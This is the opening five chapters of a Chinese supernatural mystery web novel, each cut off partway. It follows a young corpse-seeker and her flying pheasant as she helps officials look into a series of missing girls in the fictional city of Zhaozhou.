《棺椁摇梦铃》 1. 三枚 《棺椁摇梦铃》全本免费阅读 令朝十年,春。 晌午将至,眧州的天却沉得像是入暮时分。 连续下了两个多余的雨,眧州城的上空,被细如蛛丝的雨雾和阴冷晦暗的沉闷牢牢地笼罩着,阴郁且压抑非常。 郊外更是泥泞不堪。 天空还在淅淅沥沥下着雨,三枚顶着一团凌乱潮湿的发髻,身上套着湿哒哒的灰色粗布长褂,就那么站在雨幕里,瞪着一双明亮清澈的大眼睛,紧盯着不远处的小木屋。 木屋被官府的人团团包围,一头金黄色的巨型猎犬正吭哧吭哧在地上刨土。 正欲迈开双腿的三枚,突然被人从身后粗暴喝住:“什么人!” 她闻声转头,就见背后不远处站着两个人。 站在前头的是长得粗眉大眼、一身正气凛然的缁衣捕快,另一个矮瘦些的,则穿着青袍制服。 捕快和衙役,看来没找错地方。 思考了一瞬,三枚缓缓转身,将左手掌心端着的瓷碗,向前一伸。 她的脸上脏兮兮的,左一道黑乎乎的指痕,右一块黄腻腻的污迹,穿着破破烂烂,乍看活脱脱一小叫花子。 青袍小衙役快步上前,瞥了眼那只缺口的破瓷碗,大声呵斥:“官府办案,闲杂人等不得靠近,你这无知乞儿,还不速速退去!” 待走近了,他才看清三枚的左肩上,居然还站着一只通体乌黑的小野鸡。 小衙役抹了一把脸上的雨水,伸手就要把人推开。 头顶划过一个暗影,三枚迅速后退,躲开了即将落在肩头的大掌。 再看后头那个黑脸捕快朝自己走过来的气势,三枚转头跟肩上的野鸡对视了一眼。 她拍了怕自己的小胳膊细腿,声若蚊蝇道:“八耳,我觉得我打不过。” 小野鸡豆豆眼一瞪,“咯”了一声,“走!” 圆溜溜的杏眼眨了眨,三枚很是听劝,点头:“正合我意。” 于是她拐了个弯,绕开小衙役就要走,却被黑脸捕快一个闪身,挡住了去路。 三枚蹙眉,正想出拳给他来个出其不意。 却见那捕快在自己的腰间摸索了一番,接着便朝三枚的方向长臂一伸。 一枚略微泛紫的铜钱,落在了她那晶晶亮的杏眸中。 “嗯?” 三枚一愣,有些反应不过来。 她呆呆地看着那捕快粗厚的大掌捏着一枚小巧的铜板,慢慢地移向自己手中的瓷碗。 指腹一松,铜板脱离了束缚,快速向下掉落。 即将落入碗中之际,三枚肩上的八耳忽而一个飞扑。 尖锐的小嘴于半空中精准地叼住了那枚铜钱,接着极速旋身,它振翅一扑棱,又落回了三枚的肩头。 这下轮到那捕快愣住了,“这......” “啪!” 一声响亮的巴掌声乍然响起,听得人顿觉脸颊生疼。 挨了一嘴巴的八耳豆眼暴突,张嘴就要开嚎:“咯——” 三枚眼疾手快,接住从它嘴里掉出来的铜钱,转手又飞快捏住鸡嘴。 下巴往边上飞快一抬,她用十分夸张的眧州话骂道:“什么都吃,馋不死你!”骂完朝那黑脸捕快鞠了一躬,讪笑着跑开。 一边跑一边把扑棱个不停的八耳夹在腋下,她的声音压得极低:“你这么厉害,被人盯上把你抓去烤了吃怎么办?” 八耳瞬间消气:“咯!” “别咯了,回去给你喂点黍米,压压惊!” 看着三枚防贼一样,越跑越远的小身板,黑脸捕快有些摸不着头脑,看到她脚上的麻线鞋,他浓眉紧皱:“救济粮衣入冬便已发下,怎的还穿着麻线鞋?” 小衙役挠了挠头,“听口音怪别扭的,外地来的吧。” 忽而身后传来一声大吼:“邢捕头!” 围着小木屋的衙役们个个神情激动,朝着黑脸捕头所在的方向疯狂挥手。 “邢捕头,陆少卿的猎犬真从土里刨出了东西!” —— 云开雾散,雨势渐微。 三枚拽下趴在肩上耍赖的八耳,深一脚浅一脚回到了暂时歇脚的破庙。 甫一进门,就见墙角处鬼鬼祟祟蹲着两个男人,凸嘴塌鼻的那个紧抱着三枚的木箱子,另一个獐头鼠目的,手里则拿着把匕首,正使劲往箱子上划啊刻的。 双手抱胸,三枚轻哼一声,“多年不见,我竟是不知,海门居然还养起了耗子。” 安静的破庙突然响起一个阴恻恻的女声,将做贼的两人吓了一大跳。 原本就蹲得发麻的腿一阵酸软,眼看身子一个不稳就要摔倒,他们忙甩开三枚的木箱子,腾出手去撑着地面。 “当!” 木箱子撞到墙壁,发出一声闷响。 三枚眉尾一挑,“八耳。” 她的话音刚落,头顶猛然跃过一个黑影,小野鸡嘹亮地啼了一声,接着呈抛物线直直俯冲而下,最后以迅雷不及掩耳之势接住了木箱子。 头顶的紫色单冠稳稳地顶着木箱子,在半边海门下人目瞪口呆的注目下,八耳昂首挺胸、威风凛凛地走到三枚的身边,慢条斯理地将冠上的木箱子轻轻地放到地上,最后两个豆眼,极其轻蔑地扫了那两人一眼。 那两人没被八耳不屑的态度刺激到,反而看见三枚一脸从容地坐到木箱子上,脸色骤然一沉。 凸嘴塌鼻的男人率先出声,大喝道:“序三,你胆敢坐它!” 三枚耸了耸肩,“我的箱子,你管不着。” “你......” “达西!” 獐头鼠目的男人按住了暴起的弟弟,缓缓从地上站了起来,他眯着一双眼睛,从头到脚打量了三枚一眼。 被唤作达西的男人不愤,凸嘴一张,唾沫横飞,“远东大哥,那异客就被她锁在箱子里,我分明感觉到了!” “她刚才还骂咱们是小偷!” “啧!” 涂远东鼠目一瞪,眼中戾气一射,吓得凸嘴的涂达西瞬间噤若寒蝉。 转头就换上了虚伪的笑脸,涂远东朝三枚道:“序三,好久不见。” 三枚歪了下头,姿态散漫。 涂远东转了转手中的匕首,意味深长地朝半空比划了几下,“寻尸五门,各有赛道,水里的异客向来归我海门所管,如今你却越了界,擅自将它纳入了锁魂箱。” “序三,你想作甚?” 百无聊赖打了个哈欠,三枚伸了个懒腰,悠悠答道:“你们其他几门寻尸人,爱怎样画地为牢我不管。” “我只认一条,只要有冤魂能敲响我山门序家高挂棺椁之上的梦铃,不管上山下海,还是飞天遁地,我都必将为那亡灵寻尸化怨,带它魂归故里。” 涂远东大步向前:“海里的事,与你山门无关!” 抬头直视涂远东的鼠目,三枚的态度仍旧云淡风轻:“还是那句话,我山门的梦铃响了,我便来了。” 她两手一摊,“我既是来了,便没甚好怕的。” “你别忘了,”涂远东咬牙切齿,“这是从海里来的!” 圈子里谁人不知,山门序家跟水最是不对付。 三枚耸了耸肩,无所畏惧:“我正是从海上收的魂。” 她根本无需入水,前来请托的亡灵自会现身。 涂远东气急,当日是他太过贪心犯了大忌,误招了归墟的亡魂,锁魂时又粗心大意失了手,将那亡灵给丢了。 却万万没想到,竟是让它入了山门的幻梦,还敲响了梦铃。 若是抢不回三枚手中的异客,此番海门晋选门主他不仅会被剥夺资格,而且会遭受严厉的惩处,更甚者,寻尸人的身份还可能会被收回。 想到这里,涂远东眼神发狠,嘴角笑意却更深了,他阴恻恻地道:“序三,我劝你,还是乖乖交出那异客。” “真拿你们没办法,”三枚双手撑着膝盖,慢吞吞从木箱子上站了起来,让到一边。 “喏,你们自己问问,它走不走。” “姓序的,你拿我哥俩开玩笑呢!” 被涂远东压得一直默不作声的凸嘴突然蹦了出来,“你序家的锁魂箱,除了你之外,根本就没人能打开!” 三枚额边青筋一跳,讥笑道:“你们海门不仅爱养耗子,连祖宗志都能忘,真是丢人现眼!” “既你认得这是锁魂箱,那就应该晓得,寻尸人锁魂最后一步,必须得亡灵自愿入墓。” 双手交叉环胸,她踢了下脚边的木箱子,“它既是自个儿爬进我的锁魂箱,我便不会将它驱逐,除非它自己想走。” “你不要太嚣张了!” 涂远东脸上假笑一收,鼠目微眯,全身上下散发着危险的气息,“序三,再给你一次机会,把异客交出来。” 看着慢慢朝自己逼近的两人,三枚仍旧一脸淡然平静,交叉的手臂不动声色地 2. 初遇 《棺椁摇梦铃》全本免费阅读 “婉茹,下雨路上泥泞,你走路小心着些,切莫心急走小路,湿了鞋要着凉的。” 天青色油纸伞朝天一撑,薛婉茹接过母亲手里的竹篮。 “放心吧娘,这几天都是我给爹爹送的饭,您看我哪次出过差错了?” 薛母掩唇轻咳一声,替女儿理了理头上的风帽,一脸忧色地道:“那也不可大意了。娘这几日总是心神不安,你听话,小心总是使得万年船。” “是是是,娘你快进屋歇着吧,女儿去去就回。”少女朝气蓬勃,说完便转身,迈步入了雨幕。 转过街角的时候,薛婉茹小心翼翼扭头,朝后看了一眼,见母亲已经进了屋,她抿唇偷笑了一声,接着便拐进了另一条小巷子里。 “走小路能省下一半的时间,”薛婉茹食指点了点竹篮里的午食,自言自语地道,“还能让爹爹吃上一口热乎乎的饭呢。” 她像只快乐的小鸟,即使天气寒凉,冷雨冰冰,也止不住她出笼后雀跃的开心。 就在她刚要拐出巷子的时候,“喵~~”,突然从身后传来一声猫叫声。 小小的弱弱的,像是小猫崽子发出的声音,薛婉茹的心一下子就被揪了起来。 这时节正是倒春寒的时候,连着几日都是绵绵阴雨,人都受不住,更何况是流浪的小猫崽了。 只迟疑一瞬,薛婉茹便毅然转身,循着猫叫声而去。 “反正距离爹爹的米粮铺不远了,我将猫崽带回去,养大了没准还能帮铺子逮耗子呢。” 她一边碎碎念说服自己,一边低头仔细寻找小猫。 渐渐地,便绕得有些远了。 身后一阵劲风袭来,薛婉茹猛然转身,身后却什么都没有,再转回头时,一直环绕在她耳边的猫叫声突然戛然而止。 “奇怪,明明前一秒都还在“喵喵”叫着呢。” 挎着竹篮的手开始感到发酸,她此时才后知后觉,自己竟是进了一条全然陌生的巷子。 狭长的巷子里只她一人,空空荡荡的尽头,是一堵灰茫茫的高墙。 小雨还在淅淅沥沥地下,薛婉茹忽而感到一阵恶寒,自脚底直往头皮上窜。 不安感骤然来袭,她转身就跑,却在快要经过靠墙侧倒盖着的竹篓时,突然听见一声微弱的嘤咛声。 像极了她一路都在寻的猫叫声。 薛婉茹下意识就停住了脚步,她咽了咽口水,平复了下有些紊乱的呼吸,小心翼翼地靠近竹篓。 深呼吸了一口气,将雨伞换到挎着竹篮的手上,腾出另一只手伸向竹篓,慢慢地掀开了一条缝。 在看清竹篓底下确实躺着一只毛茸茸的小花猫时,薛婉茹不自觉松了一口气,眼里的警惕一下子就被融化了。 将挎在臂上的竹篮放到地上,她弯下-身子,伸手一点一点将小猫挪到手心,眼里满溢着浓浓的爱怜。 却在小花猫缓缓抬头看来的时候,她的瞳孔蓦然瞪大,脸上的柔色瞬间变成了惊恐。 “啊——” 她只来得及发出一丝极为短促的气音,接着便哐当倒地。 —— “轰隆隆!” 天雷大作,滴答微雨转瞬变成了瓢泼大雨,黑幕自天空倾压而下,仿佛要将整个眧州都给淹没了去。 “据说那日也是个细雨蒙蒙的晌午,一个名叫薛婉茹的妙龄少女,撑着把天青色油纸伞,在她娘亲的目送下,挎着个竹篮前往米粮铺给父亲送饭。” 牛车左摇右晃,三枚打着哈欠,听前头赶车的老大爷声色并茂地讲着眧州近来尤其耸人听闻的少女失踪案。 老大爷大叹一声,膝盖一拍,朝三枚摊手,“谁知这一送啊,却是直到暮色四合,都不曾归家。” 薛婉茹的母亲在家里左等右等,都等不来人,最后直觉不对,慌忙跑到米粮铺寻人。 然而,不管是她的丈夫还是铺里的伙计,都言辞凿凿,道薛婉茹不曾来过。 几人四处找寻未果,急得团团乱撞之时,薛父当机立断,连夜跑到官府报案。 “后来你猜怎么着?”老大爷很有讲故事的天分,中间还知道要跟人互动。 三枚佯装蹙眉思考,格外配合地摇头:“怎么着?” “结果却见衙门口稀稀落落站着几对夫妇,个个面露焦急,神色不宁。” “一问,才知几户人家也是为了家中幼女无故失踪前来报案的。” “轰隆”一声,响雷又起。 老大爷牛鞭挥得响亮,“当天晚上,眧州府衙灯火彻夜通明,官府将报案的所有信息粗粗一对,发现在同一天内,城中竟足足有十名少女莫名消失不见。” 老大爷转头,伸手朝三枚做了个手势,强调道:“足足十名!” 三枚适时作出一脸的惊讶,“啊?不是吧?” “真真的!”老大爷牛鞭又一挥,非常满意三枚的反应。 “消息一出,眧州顿时陷入了恐慌,一时间人心惶惶,尤其是家中有女儿的人家。” 然而这只是个开始而已,接下来每隔四天,就会有下一个少女再次无故失踪。 四天过后,又再消失一个......如此规律的,城中少女接二连三地,总是莫名消失。 目前已知的,便足有十四名少女失踪了。 老大爷哼了一声,将声音压得极低:“然而官府破案进度缓慢,至今连嫌犯都没能锁定,失踪的少女就像是一夜之间从城中蒸发了一样,生不见人死不见尸。” 好事不出门坏事行千里。 眧州少女失踪案的传闻,像漫天飘飞的柳絮一般,随风传入都城。 “天子震怒,当即钦点大理寺少卿陆衎前往眧州,主理破案,限期一个月,命他必须将嫌犯缉拿归案,严惩不贷。” 三枚眉尾一扬,“陆衎?” “对,这陆少卿啊,可谓雷厉风行,进城的第一时间,就将案情有关的所有消息严密封锁,我们老百姓是再听不到一点风声了。” 突然想起前两天郊外给了自己一个铜板的黑脸捕快,三枚有些好奇地问:“有个长得五大三粗,脸黑如炭的捕快,你知道是谁吗?” “咦,你说的是邢捕头吧,邢捕头可是咱们眧州第一大捕快,可厉害了呢!” “原来如此。”三枚捏着下巴,一脸若有所思。 “丫头,”赶牛的大爷忽而朝三枚神秘兮兮地勾了勾手指头,明明外头雷声雨势浩大,他还是压着声音,生怕被人把秘密听了去。 “其实老头我啊,发现了一个谁都没有注意到的关键问题。” 三枚连忙把耳朵凑了过去,学他悄声道:“什么问题?” 背朝车厢一靠,老大爷拍了拍手边的女儿红,“十四个失踪少女,我给其中的六家都送过酒。” 三枚:“女儿红?” 老大爷点头,“我们眧州的习俗,女孩及笄礼成当日,宴客得用好酒。” “我一开始也是突发奇想,后来专门打听了一下其他几户丢了女儿的人家,结果果然不出所料,都是将要及笄的少女!” 看了三枚一眼,老大爷忽而问她:“我看你还未别簪,想来还未及笄吧?” “十八了。”三米摇头,反问道:“你这些话报给官府了吗?” 老大爷抿了抿嘴,“我得想找到那陆少卿,当面说给他听,不然到时候走漏了风声怎么办?” 那你现在说给我听,就不怕我把风声走漏了? 三枚虽然心里腹诽,却还是朝老大爷竖起了大拇指,“大爷厉害,说得也特别在理!” 老大爷瞬间就笑眯了眼,转头又给了前头的大青牛一鞭子。 安静了一会儿,大爷谈兴又起,转头朝歪在木箱子上睡觉的野鸡一努嘴,问:“这是走地□□?” 三枚看了眼昏睡的八耳,摇头:“八耳不常下地走路的。” “啧,小姑娘不老实。” 他挥着手里的牛鞭,虚空点了一下三枚,“我又不跟你抢!这小鸡腿一看就柴了,送我也不要。” “......” 三枚好心提醒他:“大爷,我这鸡,脾气有点暴躁。”说它坏话可能要被打。 老大爷只哼笑一声,并不以为意。 自己的话没被听见去三枚也不在意,她又打了个哈欠,望着雾气蒙蒙的前方,突然问道:“但是,咱这是要过河?” 老大爷被她问得一懵,“啥过河?荒郊野岭哪来的河?哪有河——哎哟,不好,这大蛮牛,是要带着咱翻沟里咯!” 话音刚落,“哐当”一声巨响。 牛车翻了。 —— “翻车!!” “怎么就翻车了呢!” 安静的小木屋里,乍然响起一声气急败坏的男声。 习以为常的陆衎正抬脚要走,袖子突然被人一扯。 “陆在野,你听听这像话吗!” 大雨天一身白衣飘飘的裴元,揪着陆衎不放,“好端端的马车停在路边,现 3. 会飞的野鸡 《棺椁摇梦铃》全本免费阅读 “薛婉茹的油纸伞?” 邢正抹了把脸上的雨水,小心翼翼将手中的油纸伞打开,指着伞骨上的一点朱红,道:“薛婉茹的父亲,原是伞匠出身,制伞时习惯在伞骨的位置,留下自己的徽记。” 陆衎接过油纸伞,凑近仔细一看,才认出了伞骨上的红点,是个用篆体刻画的、小小的“薛”字。 收起伞,陆衎问:“在哪找到的?” 他们昨日才在小木屋门口刨到了薛婉茹当日挎着的竹篮,估计油纸伞也是在附近找到的。 邢正看了眼边上的三枚,摇了摇头:“我、没看见。” 陆衎蹙眉:“没看见?” 被问得一囧,身上勇猛的气势倏而消散,邢正一脸憨态,不住挠头。 “我追到半途的时候,这鸡已经飞回来了,嘴里就叨着这把伞。” 大约半个时辰前。 正在周边巡视的邢正,突然听见有一声重物轰然倒塌的巨响,便以为是倾盆大雨之下,发生了山体滑坡还是泥石流之类的事故。 当他马不停蹄赶过来的时候,正好目睹一只怒飞冲天的小野鸡,撅着尖锐的鸡嘴,眼神凶狠地刺向栓在树下的双头宝盖车。 宝马起初十分气定神闲,鼻孔朝天极其轻蔑地嗤了一声,却在看见从水沟里坐起来的小乞丐后,瞬间癫狂了起来。 电光火石间,看起来仅仅臂长的小野鸡,居然力拔山兮,尖嘴对着马车一次,转瞬就把两马并驾的宝盖车给掀翻了。 马车应声倒地,车架散作两半,宝马也因此脱离了车厢的束缚,趔趄起身后,头也不回就冲进了茂密的丛林里。 那野鸡朝天嚎啼一声,扑棱着翅膀,追击而去。 事情就发生在那么短短的几息之间,等邢正靠近的时候,一切已经结束。 大脑还没反过来的时候,坐在水沟里的小乞丐突然举起一只破碗,指着宝马和野鸡离开的方向,朝他大喊道:“快追!薛婉茹——” 四肢发达的邢正身体行动快过大脑反应,话才听了一半,一个箭步就钻进了丛林里。 “我当时也不知道是怎么回事,脑子里就四个‘薛婉茹,追’,”他指了指站在三枚肩头,不住拿嘴啄斗笠的野鸡,“等我反应过来的时候,就见这鸡叨着一把油纸伞,朝我扔了过来。” 陆衎也跟着将视线投注在那只野鸡的身上,通体乌黑的野鸡没甚稀奇,但紫色单冠、还会飞的鸡,却是不一般。 能把百步可穿杨的令朝第一武状元,都甩在身后的本事,陆衎还是第一次见。 难道这鸡,还真能飞? 或者说,它并非鸡,而是某种罕见的飞禽? 看着看着,他的目光不由自主地移到了鸡主人的身上。 小姑娘衣衫褴褛,形容狼狈,看着有些呆呆的。 自邢正带着鸡返回,小姑娘便一直低着头,就算夹在两人中间,听见有人在讨论自己,她也没有抬头,更没有开口再说过话。 她就那么乖巧地并着腿,端坐在一只素面无纹的木箱子上,端着破瓷碗的手揽着小酒缸子,时不时伸出另一只手扶稳被野鸡啄歪的斗笠。 那野鸡像只捣蛋鬼,偏跟人作对,小姑娘一扶正斗笠,鸡嘴便低头啄歪,等她再次扶正,就又被啄一下。 如此反复几次,小姑娘终是没了耐心,任由歪歪扭扭的斗笠扣在自己的脸上,高抬手往下就是狠狠一扇,非常精准地扇在了捣蛋的鸡嘴上。 那鸡“咯咯”低叫一声,瞪着豆眼,一下子就老实了下来。 陆衎嘴角微不可察往上一扬,轻声又问:“听说还有头大青牛,也没追着?” “大青牛?”邢正挠头,“我没见着什么牛啊。” 陆衎闻言,正想撤回粘在三枚身上的视线,眨眼间,下巴突然杵过来一个破碗。 他快速将头向后一仰,条件反射攥住了三枚的手腕。 掌下触感冰凉凉、细得仿佛一捏就碎的腕骨,陆衎心脏莫名一缩。 刚想松手,便听她道:“开始了。” 陆衎:“什么?” 声音是连他自己也没察觉的轻柔。 黑炭脸的邢正:?......? 斗笠遮面,眼前一片漆黑的三枚,用力地晃了晃脑袋,试图将耳边的金属声给甩掉。 “快追,薛婉茹!” 喝令一出,邢正立马瞪眼看向边上,果然就见那野鸡开始扑闪着翅膀,和善的豆眼逐渐变得凶狠。 他的心里莫名也紧张了起来,左手攥拳,紧握牛尾刀的右手抬到腰侧,左膝微弯,右脚不动声色向后半步。 足尖点地,满满蓄力,邢正也跟着一副蓄势待发的架势。 半晌过去,那野鸡翅膀煽动的动作越来越猛烈,眼神越来越凶狠,忽的往上一跃。 邢正也如离弦之箭一般冲了出去,岂料那鸡只打了个旋儿,“咯哒”一声后,便落在了三枚的肩上。 脚下一个猛刹,他差点一个趔趄摔了出去,小跑回来,一脸不解:“怎么了怎么了,它咋不飞了?” 然而根本没人理会他,豆大的鸡眼瞪得圆溜,朝着陆衎怒目而视,神情戒备。 忽而一股寒气袭来,邢正一个激灵,这才察觉气氛有些不对劲。 顺着野鸡的目光而去,就见陆衎正一脸冷凝,浑身呼呼冒着迫人的寒气,抓着那小乞丐的手慢慢攥紧。 伸出另一只手,他缓缓抬起斗笠,露出了三枚又变得有些呆滞的杏眼。 “啪嗒!” 又开始下雨了。 三枚神情焦急:“快追,薛婉茹!” “你知道她在哪里?”陆衎直直地看进三枚的眼睛。 三枚摇头:“还未。” 厉眼微眯,陆衎道:“你认识她。” “嗯。”三枚点头,“她发出了请托,让我替她寻尸。” 陆衎一顿,眸中疑色渐散,语带迟疑:“你是、寻尸人?” 寻尸人的神秘故事,在江湖上曾经盛传过一段时间,陆衎拜师那会儿,也曾耳闻过一二。 但,女的寻尸人? 却从未听过。 摸不着头脑的邢正虽然一脸蒙圈,但还会捕捉到了关键信息,“寻尸?薛婉茹死了?” “别吵!” 三枚突然大喝一声,使劲晃了下脑袋。 耳边金属激烈地互相撞击的声音霎时退却,取而代之的,是一阵怪异的尖叫声。 紧接着是女人可怕的呻-吟和嘶喊声,夹杂着飓风的咆哮和房屋崩塌的轰鸣声...... 邢正粗眉一皱,正想质问她作甚朝自己发脾气,却见陆衎朝自己轻轻地摇了摇头。 再看三枚,她双眼紧闭,神情痛苦。 邢正:“她、怎么了?” “通灵。” 虽然心里还是存疑,但陆衎选择了静观其变,依旧扶着她头上的斗笠,攥着人腕骨的手也没有松开。 雨,渐渐大了起来。 风也跟着开始呼啸。 约莫半刻,三枚终于缓缓抬头,“八耳飞不了了,我得亲自走一趟。” 陆衎垂眸,“找到尸体了?” 三枚点头又摇头:“情况有些复杂。” 急性子的邢正插嘴:“甭管其他,你若是真的......带路就是。” 三枚肩膀一耷,从水沟里伸出一只脚,“我脚扭了,走不动。” 她脚下穿着的破烂麻线鞋不知所踪,赤足被水泡得有些久了,已经开始发白发胀,脚底红一道青一道,估计是被碎石划到,再看脚踝处,果然肿成了馒头大小。 三枚又是举手又是抬脚的姿势,实在有碍观瞻,陆衎有些头疼,隔着长袖的手指将她高抬的脚往下一按。 他终于松开了攥着人的手,余光觑见她白皙的手腕处明显的红印,眉头轻蹙,接过衙役递过来的蓑衣,打开后轻轻地撑在三枚的身上。 斗笠没了支撑,又滑到了脸上,三枚连忙伸手扶好,在抬眼的时候,陆衎已经转身走远了。 她眨了眨眼,愣愣地望着他宽厚挺拔的背影渐行渐远。 “咯咯咕!” 耳边响起嘹亮的鸡鸣声,三枚侧首,对上八耳的豆豆眼。 “它、”邢正忽然开口,“一天就只能飞一次?” 三枚抬头,这才发现身边还站了一个人,认出就是那日给了自己一个铜板的黑脸捕快。 只看了他一眼,视线不由自主又移向了牵马而归的陆衎身上,三枚点头,“我们只专精一招。” 我们? 邢正还想再问,陆衎已经走到近前。 “走吧。”他对着三枚说道。 三枚又眨了眨眼,“我不会马。” 将手中的缰绳丢了一条给邢正,陆衎忽而弯腰凑到三枚身前。 压迫感骤然袭来,吓得三枚肩头的八耳振翅而逃,转而落在了目瞪口呆的邢正头上。 然而三枚却一脸的淡然自若,只呆呆地看着陆衎。 陆衎眼尾一挑,继而伸手揽在了她的腰上,稍一使劲,便单手将人给抱上了马背。 “啊,我的箱子!” 慢了半拍才反应过来的三枚,附身要去抓泡在水沟里的木箱子。 陆衎将人往前一推, 4. 诡异小径 《棺椁摇梦铃》全本免费阅读 想知道自己被当做了什么,都得等三枚醒来再说。 于是乎,堂堂大理寺少卿,又当马夫又当人肉靠垫,冷着一张脸,毫无头绪地在丛林里策马狂奔,还得小心护着身后酣睡的人别被甩落马背。 大约一炷香后,两人一马,进到了丛林深处。 林深不见光,暗沉沉的,泛着森然的寒气。 形态各异的古树粗壮高大,枝繁叶茂层层叠叠地交叉在一起,隔绝了如柱的雨幕,彷如遮天蔽日,自成一界。 疾驰的骏马像是感知到某种未知的危险,奔跑的速度肉眼可见地慢了下来。 感到身下宝马的焦躁不安,陆衎拽着缰绳的手缓缓松开,不动声色地按在腰佩上。 他驱马慢慢往前走,越往里走,交织的参天大树越密,视野能见的光亮越暗沉。 再看四周,杂草丛生,荆棘横行,蓬勃的绿意,像愤怒的野兽疯狂地向四周蔓延攀长,吞并了整片潮湿且泥泞的土地,却诡异地留了一条蜿蜒而崎岖的小径,通向更深不见底的黑暗。 这时缓缓踱步的宝马彻底停止了脚步,无论陆衎怎么勒紧缰绳,也再不肯往前一步。 好像那黑暗的尽头,有什么令它分外忌惮的危险。 它的鼻子里不住往外喷洒热气,焦躁地在原地团团打转。 “嘘~~” 陆衎嘴里发出白噪音,轻声安抚着宝马的情绪,良久后才抬头,眯眼向远处眺望。 狭长而幽深的小径,就像一颗空洞洞、没有瞳仁的独目,静静地蛰伏在暗处,凝视着你的一举一动。 “到了?” 三枚突然从蓑衣里探出脑袋,头顶的发髻乱做了一团,炸出了一撮一撮的小卷毛。 陆衎侧头,入目就是她头顶的小卷毛,瞥了眼三枚脏兮兮的小脸蛋,他莫名想起了阿姐偷偷养在厢房的暹罗猫。 按在腰佩上的手指指腹不自觉摩挲了一下,须臾他才道:“并未。” 忍不住伸手轻轻按住她头顶翘得最高的那一小撮炸毛,陆衎轻声问她:“要不,你再睡会儿?” 三枚一愣,脑袋向后一歪,胡乱揉了揉头发,抬眼神色莫名地看了陆衎一眼。 陆衎瞬间回神,掩唇轻咳一声,“不是说,有棵断头的古榆树?” 顿时就被转移了注意力的三枚,伸手往陆衎脚下一指:“喏,在这儿呢。” 顺着她纤瘦骨感的手指看去,半人高的杂草丛里,果真歪倒着什么东西,正对着马鞍上挂着的木箱子。 这就是她口中所言,断头的古榆树? 陆衎眉头轻蹙,在他眼中,更像是一截将要腐朽的木桩。 “找到地方,接下来就看八耳和我要的东西,什么时候送来了。” “不用进去?” 三枚歪头,不解反问:“进去哪里?” 陆衎抬手指着正前方不远处的黝黑的小径。 三枚挠了挠头,“未到时候。” 说完手指点了点陆衎的肩头,她委婉表示道:“这马载了咱一路,可累了哈。” 陆衎不知怎的,居然读出了她话里的深意,下意识便从马上跃下。 落地后把怀里捂得有些温热的小酒缸提在手里,转身特别自然地接住了朝他倾身而来的三枚,将人给抱了下了马。 一连串动作下来,有如行云流水。 陆衎环顾一圈,找了块树桩就要让三枚坐下。 三枚朝后一扬手,“诶,我的木箱。” “啧。” 虽然心里觉得麻烦,但陆衎放下三枚后,还是帮她拽下了挂在马鞍边的木箱子,连同手里的小酒缸就要一并塞还给三枚。 三枚却急得连连摆手,“不行不行,这箱子我现在还抱不得!” “你放地上就行。” 被折腾得没了脾气,陆衎依言将木箱子放到地上,顺手把小酒缸也放了上去。 岂料酒缸子刚一触碰木箱,就听一声脆响。 “喀!” 小酒缸自底部,猝然裂开,缸里的酒水哗啦全都洒在了木箱上。 “这......” 陆衎生平第一次感到有些慌乱,想解释两句的时候,忽见三枚猛然捂住左耳,对着空气拳打脚踢。 “别吵,我已经到了!” 陆衎连忙蹲下把人按住,“怎么了?” “窸窸窣窣总有声音往我耳里窜,吵死了!” “声音?”陆衎侧耳仔细听,却什么声音都没有听到。 也是到此时,他才发觉丛林里静得诡异。 明明能看见风拂过草丛枝干,卷起地上片片树叶,却听不见沙沙响声。 一点虫鸣鸟叫都没有! 陆衎思考一瞬,问她:“薛婉茹?” 脸色越来越苍白的三枚瞬间安静了下来,摇了摇头。 下巴忽然被一只大掌托起,三枚盯着陆衎凑到近前的俊脸,眼睫飞速眨啊眨,“嗯?” 陆衎:“你在流鼻血。” 三枚吸了吸鼻子,拿手背揩了一下,湿濡而鲜红的血色赫然在目,她却浑不在意地摆了摆手,“没事。” 像是习以为常了一样。 陆衎眉头深皱,眼里有一丝担忧一闪而过。 过了一会儿,又见她摸了摸右耳,面有急色:“八耳,还没来吗?” 话音刚落,“来了来了!!” 邢正的声音从两人身后响起。 他手握牛尾刀,一路顺手砍开碍事的杂草荆棘,居然让他清理出了一条小路。 怀里抱着一个小包裹,头顶着趾高气昂的小野鸡,邢正一个飞跃便来到了三枚面前。 “黍米和五彩绳,我、我先给你送来。” 平复了一下有些气喘的呼吸,邢正才又开口解释道:“我怕你急用,就先将东西送来,其他人还在后面,哦,不用怕他们找不到路,我沿途都用显眼的牵绳绑着树干。”说完将手里的包裹递给了三枚。 “谢谢。” 三枚打开包裹,却发现里头不管是包着黍米的油纸还是五彩绳,都有些潮湿。 “我怕被雨淋湿,一路都将东西紧紧护在怀里,没想到还是湿了。”邢正挠着头道。 三枚:“没事。” 她单手捻起五彩绳,端头咬在嘴里,接着一圈一圈缠在倒扣着破碗的手掌上。 摸不着头脑的邢正,转而望着陆衎,“话说,这里的树冠到底是有多大多密?” “外头下着那么猛烈的瓢泼大雨,进了林后竟是一点都感觉不到,头顶树冠紧密相连,却也不会乌漆嘛黑到令人看不清道。” 陆衎的心思却没在邢正的身上,他看着三枚忙忙碌碌的样子,眉头越蹙越 5. 黍米圈地 《棺椁摇梦铃》全本免费阅读 不知自己在别人心中的形象180°转了又转的三枚,手中的五彩绳恰好缠完。 捡起小包裹里的油纸掂了掂,她看着邢正问道:“两斤?” 邢正立马回神,“我怕一斤不够,所以......所以自作主张多加了一点。” 说完后脑勺一阵寒气袭来,陆衎站在他身后,意味不明地道:“你还真是一点没变!” 邢正被他说得脸色一僵,头皮逐渐发麻,头脑风暴正准备辩解几句。 陆衎却略过了他,径直问三枚:“可是有何不妥?” 三枚摇头:“无妨。” 抓了一把黍米在手里,对着假装乖巧的八耳一踢。 三枚:“张嘴。” 快速眨了两下豆豆眼,小野鸡“咯”了一声,十分听话地张嘴,开始啄起了三枚手中的黍米。 所有人的视线都集中在八耳的身上,一时间谁都没有说话,邢正甚至将呼吸都放缓放慢了。 丛林里,静得落针可闻。 “啪嗒!” 没有任何开口和孔洞的木箱子,忽而自顶面裂开了一条缝。 裂缝歪歪扭扭,呈不规则的蛇形,“嘶嘶”往上冒气,白茫茫的雾气,一点一点凝聚在一起,最后成了一颗小气泡。 小小的气泡晃晃悠悠,像喝醉了酒般,向左倒一下,向右飘一会儿。 突然,“咻”的一声,脱离木箱子,飞了起来。 它在半空盘旋了一圈儿,一溜歪斜挨到了正低头啄米的八耳,正正粘在它的紫色单冠上。 “咯咯咕!” 嘹亮的嚎啼一声,啄米的野鸡双目一瞪,瞳孔霎时变得猩红,神情也凶猛了起来。 